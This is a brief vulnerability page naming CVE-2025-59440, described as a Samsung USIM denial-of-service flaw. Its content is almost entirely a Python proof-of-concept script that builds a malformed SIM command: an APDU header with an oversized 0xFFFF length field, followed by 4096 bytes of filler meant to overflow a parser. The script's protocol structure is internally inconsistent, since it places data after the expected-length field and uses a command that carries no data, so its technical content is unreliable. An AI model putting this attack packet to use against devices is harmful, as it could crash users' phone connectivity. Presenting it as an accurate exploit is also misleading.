CVE-2025-59440 Samsung USIM拒绝服务漏洞

# PoC Concept for CVE-2025-59440 # This script demonstrates the structure of a malformed proactive command # that could trigger the Denial of Service in vulnerable Samsung USIM handlers. import struct def build_malicious_proactive_command(): # Command class and instruction for proactive commands cla = 0xA0 ins = 0xC0 # Example instruction (GET RESPONSE or specific proactive command) p1 = 0x00 p2 = 0x00 # Le field: Expected length. Setting an excessive or invalid length # may trigger the buffer overflow or parsing error. length = 0xFFFF # Constructing the APDU header header = struct.pack('>BBBBH', cla, ins, p1, p2, length) # Malicious payload: Filling with junk data to overflow the buffer payload = b'\x41' * 4096 return header + payload if __name__ == "__main__": poc_packet = build_malicious_proactive_command() print(f"[+] Generated PoC Packet Length: {len(poc_packet)}") print(f"[+] Hex Dump: {poc_packet[:50].hex()}...") # Note: Actual transmission requires interfacing with the SIM/Modem hardware.